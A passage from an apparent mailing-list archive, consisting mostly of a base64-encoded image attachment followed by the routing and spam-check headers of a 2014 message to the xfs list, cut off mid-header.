AAAAAAAAAAAAAAADyP//////////////////pwAAAAAAAAAAAAAAAAAAAAAAoP////////////// ////1wAAAAAAAAAAAAAAAAAAAAAAfP///////////////////wAAAAAAAAAAAAAAAAAAAAAAXv// /////////////////yUAAAAAAAAAAAAAAAAAAAAAQ////////////////////0gAAAAAAAAAAAAA AAAAAAAALP///////////////////2oAAAAAAAAAAAAAAAAAAAAAGP///////////////////4sA AAAAAAAAAAAAAAAAAAAABfP//////////////////68AAAAAAAAAAAAAAAAAAAAAAOH///////// /////////9UAAAAAAAAAAAAAAAAAAAAAAM////////////////////8kAAAAAAAAAAAAAAAAAAAA AL7///////////////////9UAAAAAAAAAAAAAAAAAAAAAK7///////////////////+LAAAAAAAA AAAAAAAAAAAAAJ/////////////////////LDgAAAAAAAAAAAAAAAAAAAJL///////////////// ////VwAAAAAAAAAAAAAAAAAAAIb/////////////////////qgoAAAAAAAAAAAAAAAAAAHn///// /////////////////20AAAAAAAAAAAAAAAAAAGb///////////////////////dVAAAAAAAAAAAA AAAAAEX/////////////////////////aiMrNT9KVWBqdX6HkZz///////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////+jPtp2DaU65/////////////////////////+yyg1w6HQIAAAAAAAB7 ///////////////////////FbSkAAAAAAAAAAAAAAABA/////////////////////4MbAAAAAAAA AAAAAAAAAAAHy///////////////////kgAAAAAAAAAAAAAAAAAAAAAAmP////////////////// pAAAAAAAAAAAAAAAAAAAAAAAav//////////////////3QAAAAAAAAAAAAAAAAAAAAAAQf////// /////////////w4AAAAAAAAAAAAAAAAAAAAAHf///////////////////zkAAAAAAAAAAAAAAAAA AAAAAOj//////////////////2AAAAAAAAAAAAAAAAAAAAAAAM7//////////////////4UAAAAA AAAAAAAAAAAAAAAAALf//////////////////6gAAAAAAAAAAAAAAAAAAAAAAKP///////////// /////8sAAAAAAAAAAAAAAAAAAAAAAJD//////////////////+8WAAAAAAAAAAAAAAAAAAAAAH3/ //////////////////8+AAAAAAAAAAAAAAAAAAAAAGz///////////////////9pAAAAAAAAAAAA AAAAAAAAAFr///////////////////+ZAAAAAAAAAAAAAAAAAAAAAEn////////////////////S FgAAAAAAAAAAAAAAAAAAADn/////////////////////WAAAAAAAAAAAAAAAAAAAACn///////// ////////////ogAAAAAAAAAAAAAAAAAAABn/////////////////////9VYAAAAAAAAAAAAAAAAA AAT//////////////////////7svAAAAAAAAAAAAAAAAAAD4//////////////////////+rKQAA AAAAAAAAAAAAAADP////////////////////////yUcAAAAABxMgLj5SaITt//////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////9NXJ//// ////////////////////////+tKwknddQigMAABK////////////////////////xX1FFwAAAAAA AAAAAAAR2P///////////////////8RQAAAAAAAAAAAAAAAAAAAAn///////////////////ogwA AAAAAAAAAAAAAAAAAAAAaP//////////////////lAAAAAAAAAAAAAAAAAAAAAAANv////////// ////////2gAAAAAAAAAAAAAAAAAAAAAAB+z//////////////////xUAAAAAAAAAAAAAAAAAAAAA AMT//////////////////0gAAAAAAAAAAAAAAAAAAAAAAKL//////////////////3UAAAAAAAAA AAAAAAAAAAAAAIP//////////////////50AAAAAAAAAAAAAAAAAAAAAAGn///////////////// /8MAAAAAAAAAAAAAAAAAAAAAAFL//////////////////+cPAAAAAAAAAAAAAAAAAAAAAD7///// //////////////8zAAAAAAAAAAAAAAAAAAAAACv///////////////////9YAAAAAAAAAAAAAAAA AAAAABj///////////////////+BAAAAAAAAAAAAAAAAAAAAAAX///////////////////+sAAAA AAAAAAAAAAAAAAAAAAD////////////////////eIgAAAAAAAAAAAAAAAAAAAADy//////////// ////////XAAAAAAAAAAAAAAAAAAAAADf////////////////////nwAAAAAAAAAAAAAAAAAAAADM ////////////////////6EoAAAAAAAAAAAAAAAAAAAC3/////////////////////6AWAAAAAAAA AAAAAAAAAACc//////////////////////96AgAAAAAAAAAAAAAAAAB3//////////////////// ////egsAAAAAAAAAAAAAAAVM/////////////////////////6JXaHSAjZyrvNDn//////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /+3j///////////////////////////So3pYOikjHBYOBgAAn/////////////////////+sUg4A AAAAAAAAAAAAAAAAaf//////////////////5EMAAAAAAAAAAAAAAAAAAAAANP////////////// ////eQAAAAAAAAAAAAAAAAAAAAAAAOP/////////////////zQAAAAAAAAAAAAAAAAAAAAAAALL/ /////////////////xMAAAAAAAAAAAAAAAAAAAAAAIX//////////////////08AAAAAAAAAAAAA AAAAAAAAAF3//////////////////4MAAAAAAAAAAAAAAAAAAAAAADr//////////////////7IA AAAAAAAAAAAAAAAAAAAAABz//////////////////9sDAAAAAAAAAAAAAAAAAAAAAAL///////// //////////8qAAAAAAAAAAAAAAAAAAAAAAD7//////////////////9PAAAAAAAAAAAAAAAAAAAA AADn//////////////////90AAAAAAAAAAAAAAAAAAAAAADU//////////////////+bAAAAAAAA AAAAAAAAAAAAAADA///////////////////EBwAAAAAAAAAAAAAAAAAAAACt//////////////// ///wMwAAAAAAAAAAAAAAAAAAAACa////////////////////ZwAAAAAAAAAAAAAAAAAAAACG//// ////////////////owAAAAAAAAAAAAAAAAAAAABy////////////////////40QAAAAAAAAAAAAA AAAAAABc/////////////////////5EGAAAAAAAAAAAAAAAAAABB/////////////////////+tf AAAAAAAAAAAAAAAAAAAd///////////////////////KSwAAAAAAAAAAAAAAAAAA//////////// ////////////y1cAAAwYJDE/TmB0i6fH///////////////////////////X5/L///////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////r1M3Hwr66t7Owramopf////////////////// /91+Uz8wIxkRCQIAAAAAAAAAANv/////////////////dgAAAAAAAAAAAAAAAAAAAAAAAKf///// ////////////ugAAAAAAAAAAAAAAAAAAAAAAAHX//////////////////wcAAAAAAAAAAAAAAAAA AAAAAEb//////////////////04AAAAAAAAAAAAAAAAAAAAAABr//////////////////4wAAAAA AAAAAAAAAAAAAAAAAAD9/////////////////8EAAAAAAAAAAAAAAAAAAAAAAADb//////////// //////EZAAAAAAAAAAAAAAAAAAAAAAC+//////////////////9EAAAAAAAAAAAAAAAAAAAAAACk //////////////////9rAAAAAAAAAAAAAAAAAAAAAACN//////////////////+RAAAAAAAAAAAA AAAAAAAAAAB5//////////////////+3AAAAAAAAAAAAAAAAAAAAAABm///////////////////e IQAAAAAAAAAAAAAAAAAAAABT////////////////////SgAAAAAAAAAAAAAAAAAAAAA///////// ////////////dwAAAAAAAAAAAAAAAAAAAAAr////////////////////rAoAAAAAAAAAAAAAAAAA AAAW////////////////////50UAAAAAAAAAAAAAAAAAAAAA/////////////////////4oAAAAA AAAAAAAAAAAAAAAA/////////////////////9ZNAAAAAAAAAAAAAAAAAAAA/f////////////// //////+nLgAAAAAAAAAAAAAAAAAA1f//////////////////////mCoAAAAAAAAAAAYYLUVg4P// /////////////////////6hjdIGPnKu7zeL6//////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////ny7epnZWOiYSAfHh0cGxoZZD/////////////////vGpILRkKAAAAAAAAAAAAAAAA ADH//////////////////wAAAAAAAAAAAAAAAAAAAAAAAAP//////////////////0IAAAAAAAAA AAAAAAAAAAAAAADc/////////////////44AAAAAAAAAAAAAAAAAAAAAAACy//////////////// /84AAAAAAAAAAAAAAAAAAAAAAACN//////////////////8pAAAAAAAAAAAAAAAAAAAAAABr//// //////////////9aAAAAAAAAAAAAAAAAAAAAAABO//////////////////+GAAAAAAAAAAAAAAAA AAAAAAA0//////////////////+uAAAAAAAAAAAAAAAAAAAAAAAe///////////////////UFwAA AAAAAAAAAAAAAAAAAAAK///////////////////6PQAAAAAAAAAAAAAAAAAAAAAA//////////// ////////ZQAAAAAAAAAAAAAAAAAAAAAA////////////////////jgAAAAAAAAAAAAAAAAAAAAAA ////////////////////vBkAAAAAAAAAAAAAAAAAAAAA7///////////////////8U4AAAAAAAAA AAAAAAAAAAAA2P///////////////////4sAAAAAAAAAAAAAAAAAAAAAv/////////////////// /8xDAAAAAAAAAAAAAAAAAAAAof////////////////////+RGQAAAAAAAAAAAAAAAAAAev////// ///////////////ydAoAAAAAAAAAAAAAAAARX///////////////////////6HQTHyw4RVNicoWb tNL1///////////////////////////X6PT///////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////v38/Hu7Ovr7PH//////////////////9mymYd5bWRdVlFL RkE8ODItKCPE/////////////////0slCwAAAAAAAAAAAAAAAAAAAACS/////////////////4gA AAAAAAAAAAAAAAAAAAAAAABm/////////////////9cAAAAAAAAAAAAAAAAAAAAAAAA9//////// //////////8zAAAAAAAAAAAAAAAAAAAAAAAY//////////////////9sAAAAAAAAAAAAAAAAAAAA AAAA//////////////////+dAAAAAAAAAAAAAAAAAAAAAAAA///////////////////JDAAAAAAA AAAAAAAAAAAAAAAA9v/////////////////xNQAAAAAAAAAAAAAAAAAAAAAA3/////////////// ////WwAAAAAAAAAAAAAAAAAAAAAAy///////////////////ggAAAAAAAAAAAAAAAAAAAAAAt/// ////////////////qQYAAAAAAAAAAAAAAAAAAAAAo///////////////////0y8AAAAAAAAAAAAA AAAAAAAAjf///////////////////14AAAAAAAAAAAAAAAAAAAAAd////////////////////5MH AAAAAAAAAAAAAAAAAAAAXv///////////////////81DAAAAAAAAAAAAAAAAAAAAQP////////// //////////+HEAAAAAAAAAAAAAAAAAAAHP/////////////////////YXgAAAAAAAAAAAAAAAAAA AP//////////////////////v04AAAAAAA4cLD5SaoalyP///////////////////////8J8jJqn tsXW6P3///////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////+7h 18/Jw766trGtqaempqeu/////////////////76GbVtMQDcvKCIcFhALBAAAAAAU//////////// /////9cFAAAAAAAAAAAAAAAAAAAAAAAA//////////////////80AAAAAAAAAAAAAAAAAAAAAAAA 9v////////////////92AAAAAAAAAAAAAAAAAAAAAAAA0v////////////////+wAAAAAAAAAAAA AAAAAAAAAAAAsv/////////////////hJAAAAAAAAAAAAAAAAAAAAAAAlv////////////////// UQAAAAAAAAAAAAAAAAAAAAAAfP//////////////////eQAAAAAAAAAAAAAAAAAAAAAAZv////// ////////////oAAAAAAAAAAAAAAAAAAAAAAAUf//////////////////xyMAAAAAAAAAAAAAAAAA AAAAPP//////////////////7ksAAAAAAAAAAAAAAAAAAAAAJ////////////////////3QAAAAA AAAAAAAAAAAAAAAAEP///////////////////6MWAAAAAAAAAAAAAAAAAAAAAP////////////// /////9hMAAAAAAAAAAAAAAAAAAAAAP////////////////////+IDwAAAAAAAAAAAAAAAAAAAP// ///////////////////LUwAAAAAAAAAAAAAAAAAAAP//////////////////////pTgAAAAAAAAA AAkdNE5rjP///////////////////////5k5Q1Ffbn2OoLXL5f////////////////////////// ///r+f////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////rzLmsoZmRi4aBfHh0cGtoZmZo8f// //////////////9hRTIjGA4GAAAAAAAAAAAAAAAAnv////////////////9+AAAAAAAAAAAAAAAA AAAAAAAAdf/////////////////DAAAAAAAAAAAAAAAAAAAAAAAAUv/////////////////7NwAA AAAAAAAAAAAAAAAAAAAAMv//////////////////agAAAAAAAAAAAAAAAAAAAAAAFv////////// ////////lgAAAAAAAAAAAAAAAAAAAAAAAP//////////////////vxsAAAAAAAAAAAAAAAAAAAAA AP//////////////////5kIAAAAAAAAAAAAAAAAAAAAAAP///////////////////2kAAAAAAAAA AAAAAAAAAAAAAP///////////////////5ACAAAAAAAAAAAAAAAAAAAAAP////////////////// /7ksAAAAAAAAAAAAAAAAAAAAAPT//////////////////+hcAAAAAAAAAAAAAAAAAAAAANn///// //////////////+RGAAAAAAAAAAAAAAAAAAAALz////////////////////KUwAAAAAAAAAAAAAA AAAAAJ3/////////////////////mC4AAAAAAAAAAAAAEClGZsT/////////////////////7n8d DBooN0ZXaX6Vr8zu/////////////////////////+egqrnI2On8//////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////fXw6+bi39vY1NLR 0NLX4P/////////////////Onop8cWlhW1ZRTEhDPjo2Mi8uMf/////////////////SJREDAAAA AAAAAAAAAAAAAAAAAP//////////////////QgAAAAAAAAAAAAAAAAAAAAAAAP////////////// ////fQAAAAAAAAAAAAAAAAAAAAAAAP//////////////////sAsAAAAAAAAAAAAAAAAAAAAAAPb/ ////////////////3TkAAAAAAAAAAAAAAAAAAAAAANz//////////////////2IAAAAAAAAAAAAA AAAAAAAAAMX//////////////////4kAAAAAAAAAAAAAAAAAAAAAAK///////////////////68i AAAAAAAAAAAAAAAAAAAAAJn//////////////////9ZIAAAAAAAAAAAAAAAAAAAAAIL///////// //////////9yAAAAAAAAAAAAAAAAAAAAAGn///////////////////+hKAAAAAAAAAAAAAAAAAAA AE7////////////////////TXAAAAAAAAAAAAAAAAAAAADP/////////////////////li4AAAAA AAAAAAAAABUyUnf/////////////////////4HITAAABDx8vQlhwi6jI7P////////////////// /////8pvbn6OnrDD2O////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////+eDSyMC6tbCsqKWin52bm5ygp/////////////////// gmRWS0M8NjArJyIdGBMOCQQAANT/////////////////kgAAAAAAAAAAAAAAAAAAAAAAAK3///// ////////////zB4AAAAAAAAAAAAAAAAAAAAAAIv/////////////////+1IAAAAAAAAAAAAAAAAA AAAAAG3//////////////////4AAAAAAAAAAAAAAAAAAAAAAAFH//////////////////6kbAAAA AAAAAAAAAAAAAAAAADr//////////////////9BCAAAAAAAAAAAAAAAAAAAAACP///////////// //////VoAAAAAAAAAAAAAAAAAAAAAAz///////////////////+PFAAAAAAAAAAAAAAAAAAAAAD/ //////////////////+4PgAAAAAAAAAAAAAAAAAAAAD////////////////////lbQMAAAAAAAAA AAAAAAAAAAD/////////////////////nzcAAAAAAAAAAAAAABAvUHT///////////////////// 3XIUAAAAAAYXKkFadZS22v///////////////////////7xYRFRkdYaar8jj//////////////// ///////////////SzeHx//////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////8+/r7/f////////////// ////////7rmonZaPioaCf3t4dnRyc3V4f5D/////////////////6086MCghGxUQCwcCAAAAAAAA ACP//////////////////2kAAAAAAAAAAAAAAAAAAAAAAAD//////////////////5sKAAAAAAAA AAAAAAAAAAAAAAD//////////////////8g5AAAAAAAAAAAAAAAAAAAAAAD///////////////// //BjAAAAAAAAAAAAAAAAAAAAAAD///////////////////+KDgAAAAAAAAAAAAAAAAAAAAD///// //////////////+wNAAAAAAAAAAAAAAAAAAAAAD////////////////////VWwAAAAAAAAAAAAAA AAAAAAD/////////////////////hRoAAAAAAAAAAAAAAAAAAAPs////////////////////sUkA AAAAAAAAAAAAABg5XYH/////////////////////5XseAAAAAAAMIThSb4+z2f////////////// /////////7tYKTlJWmyAl7DN7f////////////////////////////+znrTF1+v///////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////67+fh3NnW1NLQ0NDR09ng6/f//////////////////7iKfndxbGhkYV5b WVhXV1leZXH//////////////////78xHxYQCgUAAAAAAAAAAAAAAAD//////////////////+1W AAAAAAAAAAAAAAAAAAAAAADo//////////////////+CBAAAAAAAAAAAAAAAAAAAAADM//////// //////////+rLwAAAAAAAAAAAAAAAAAAAACz///////////////////SVwAAAAAAAAAAAAAAAAAA AACb///////////////////3fBAAAAAAAAAAAAAAAAAAAACF////////////////////ojcAAAAA AAAAAAAAAAAABSuU////////////////////y2ECAAAAAAAAAAAADCxQdp7R//////////////// ////9Y0wAAAAAAANIztXdpm+5f///////////////////////8NjGCo7TF90jafG5/////////// //////////////////+of5aou9Dn/////////////////////////////////////f////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////dzsW/ vLm2tLOxsrK1ucDJ1eP///////////////////+XbGReWVVRT0xKSEdGSEtQWWah//////////// //////+nJg4HAgAAAAAAAAAAAAAAAABW///////////////////OUAAAAAAAAAAAAAAAAAAAAAA6 ///////////////////0eQsAAAAAAAAAAAAAAAAAAAAh////////////////////nzIAAAAAAAAA AAAAAAAAAAAO////////////////////xFgAAAAAAAAAAAAAAAAIMVqE//////////////////// 6X8fAAAAAAAAAAAGJ0txmsLp/////////////////////6dJAAAAAAIXL0poiq7V/P////////// /////////////9N1HiY4Sl51j6vL7/////////////////////////////+ucoWYrMLb9v////// ////////////////////////////3+////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////v7KqpqOhoJ+foaOmrLTAzd3s//// ////////////////ilpTT0tIRkRDQkFCQ0dOWWl9////////////////////ni4GAAAAAAAAAAAA AAAAAAAA////////////////////w1YAAAAAAAAAAAAAAAAAABVB////////////////////53sa AAAAAAAAAAAAAAk0YIu0/////////////////////58/AAAAAAAAAAQlSnGZwuv///////////// /////////8ZmDwAAABMqRGKDp831/////////////////////////+uONSs+UWiBnbze//////// //////////////////////++dn+UqcHc+f//////////////////////////////////0tjz//// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////28vDv7+/x8/j9//// ////////////////////////+LCfmpeWlpaYm5+krLbC0eHu/////////////////////o5QSkdF RERERUZHS1FaaIOp/////////////////////6ZBAQAAAAAAAAAABzZjj7rh//////////////// /////8ZlCgAAAAAABCdMc5zE7P///////////////////////+WILwAAEypEYoKmzPT///////// //////////////////+rUDZKYXuWtNb6///////////////////////////////Sh3yYscvp//// ////////////////////////////////1M7t//////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////t5ePj5Obo7fH5//////////////////////////// //2xlJKSlZmdo6myvNDt//////////////////////////+dU0dJTVFWYHOKr9b8//////////// //////////////+yVgAaNVBti67S9//////////////////////////////Nbz5fe5m31/n///// ///////////////////////////un4OmwuH/////////////////////////////////////487r //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAD///////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////wAAAP/uAA5BZG9iZQBkgAAAAAL/2wCEABIODg4QDhUQEBUeExETHiMa FRUaIyIXFxcXFyIRDAwMDAwMEQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwBFBMTFhkWGxcX GxQODg4UFA4ODg4UEQwMDAwMEREMDAwMDAwRDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDP/A ABQIACEAZAQBIgACEQEDEQEEIgD/3QAEAAf/xAE/AAABBQEBAQEBAQAAAAAAAAADAAECBAUGBwgJ CgsBAAEFAQEBAQEBAAAAAAAAAAEAAgMEBQYHCAkKCxAAAQQBAwIEAgUHBggFAwwzAQACEQMEIRIx BUFRYRMicYEyBhSRobFCIyQVUsFiMzRygtFDByWSU/Dh8WNzNRaisoMmRJNUZEXCo3Q2F9JV4mXy s4TD03Xj80YnlKSFtJXE1OT0pbXF1eX1VmZ2hpamtsbW5vY3R1dnd4eXp7fH1+f3EQACAgECBAQD BAUGBwcGBTUBAAIRAyExEgRBUWFxIhMFMoGRFKGxQiPBUtHwMyRi4XKCkkNTFWNzNPElBhaisoMH JjXC0kSTVKMXZEVVNnRl4vKzhMPTdePzRpSkhbSVxNTk9KW1xdXl9VZmdoaWprbG1ub2JzdHV2d3 h5ent8f/2gAOBAEAAhEDEQQAAD8A4dSaxzjDRJ8BqtLpPTBmPc+wltNehjku/cXSV0Y+Mz9E1lLR +eYn/tx6nx4JTHESIQ8WbHhMxxE8EHuE0gCSY+KrZeV6IAaJe7UeELNNllrveXPPgNAuWq6R1C3i ktHi6Gj/AKatt+r2RzbbXX5SZWrb1HpzPp3mw+DZI/8AAfTU22VvrbbRiG1rtQTs/wDRj3qYYcXf jP8AV9TKMOL97jP9X1f9B1X5eOzmwE+A1/6lCPUKvzGucqrMfJ/NqazzP/qTeoua8OLbLwwjw3f9 8a1ZY6Jht/nMsE+DY/8AJog6V0oc2WP+DXf98qetL181ujMEj/rjB/1LUBnUc+1z214kurO1wNgB BR4MQr0/8ycl3BiFenf+pOTb+2Xu+jQ75qH2rLPDGN+JH/pRVzXj8vyP+i7/AL+pOxcdgaXXEB2r TtlV/wBm9IHFdzv7Nn/pNP8AYukj/tLe75Wf+SVv7T1X/uGD/wBcCqu6zmV3Cl2GRYeGbjJ/q+1I jGNxGP8A1LiURjG4iP0f5pIcnM8ax82/+TT+tlH/AA1Q+YQPSw/9P97UUYVJYXttlo76JvQ6S3/t Hd/mP/8ASiiR0Uc4tnzY7/yavDK6mRJwgfIWt3f5ir5HWbsZwbkYpYXCR7wdP81I8AFkRHf9Qo8F Eng8f1LIWZh4ur+9v/kE/wCv9rWn5t/8iq/o4gMC/wCe3T/OU68KuwE1WggH91UL2YFzmtooLKgY LoO/cB6lu/3/AM2xBfjYpb9At0DpaHkwTs/wqlb1HGtyfUDHMa7Vwn86PTf9D99ig7JxAyAd5gNA aHM9s7/pPeoTwG64PsYSY6/J9jbq+0NB9V4c7QxAgT/VRN7wdCD21hRqosZWGbg7aI+5T2vniNZ1 hUPQf6/ofnbtqSXrP9b1/wA/duSUPp/53/MYvT/zv+az3jZv7cpJ9o27e3CS/9DE6DmMqc7HsO1t hBaT+99FZ+flZN+Q8XEjaT+j7NhU5jjlEstdYAX6uGm7uf6ykOQmAj+6ye4TAQvSL1XUKHPaLG67 OR5Kxj1VV1t9Pgj6XcoyYNAEDQIYXS/V0u9C3X84ASsQMwy0e8tcGy7SRu/cV+vqfoVium8BjRDR 6Q3QP33J+EiMuKRXYiIT4iV1m9SjfX20P3q/NknQc6fBV34rLHFz2ann3FW8i7FoxLLcV5F7bdC4 j1ND+5u/mVW6Xk2ZXVfVtiXNM7RA49qqX5FGRa997y4+1rSxor3D8+xyLi5bMQEUXwHmXTXuLf7T keO5g3UIforuK5g3UY/oo2NtfcGXNGws7fR/z1LJrbXiFjZgERrrqUdlbq2hrBA5MklRtobcZe06 afS/8itXNuwaM1tl9ljbGgHY0exCq6ic3qNX2doAqa7WzQuafp/Q3qhk5leWxrbsjQGdK4P+c1Vq bKcY+tRafWb9EFuk/RTpZfVp/N8XH/WTLJctK9rj4/67Tx23vxy2trSw6bj9JSOOKMZ4sdO8j6Os K1XQ2lxNbOf5X/klN7DaCx7faVuX29OffGSyzHvBjd7h/melurVfr1VgoqsNgfW07WyIdx/pGoX7 ZsmPWkaaPrDtv7/0VTyMoZLwb7nPAaSGxtAf/o/YjPJExIH6fb0/4yp5AYkfNx/u/wDdNGtuUKv0 RZbX+7A/78p4D273t2lp5MGQifYq/wDRx/VcUauptQ9jQ3XXuY/tLOSkqy6vHhpbZz9IEcf1UQV4 G4zY6AXaQfo/4JVuHxYOHxTJKMv10+CjNscCYH3qkkpQN0bhHikmrUiSSS//0eHSTJJJ7PcJLw5J FbwPim/N+9DSQOyzo+391JeHJInZR8VFJHqfqu6l9xCS8OSUgl/r+Kikl/BXV9xSXhySkpdz80NJ Luo7l9xKXivDklJyX9yikkp9xSXhySl+akopJKfcUl4ckv/Z --f46d043c7b886a2d0e04f3485dfb-- From hughd@google.com Tue Feb 25 23:26:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9743F7F37 for ; Tue, 25 Feb 2014 23:26:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6BF62304084 for ; Tue, 25 Feb 2014 21:26:34 -0800 (PST) X-ASG-Debug-ID: 1393392392-04cb6c5677463c0001-NocioJ Received: from mail-pa0-f46.google.com (mail-pa0-f46.google.com [209.85.220.46]) by cuda.sgi.com with ESMTP id j5Xa7tM54VwGlqlM (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 21:26:33 -0800 (PST) X-Barracuda-Envelope-From: hughd@google.com X-Barracuda-Apparent-Source-IP: 209.85.220.46 X-Barracuda-IPDD: Level1 [google.com/209.85.220.46] Received: by mail-pa0-f46.google.com with SMTP id rd3so477161pab.5 for ; Tue, 25 Feb 2014 21:26:32 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.220.46] X-Barracuda-IPDD: Level1 [google.com/209.85.220.46] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=date:from:to:cc:subject:in-reply-to:message-id:references :user-agent:mime-version:content-type; 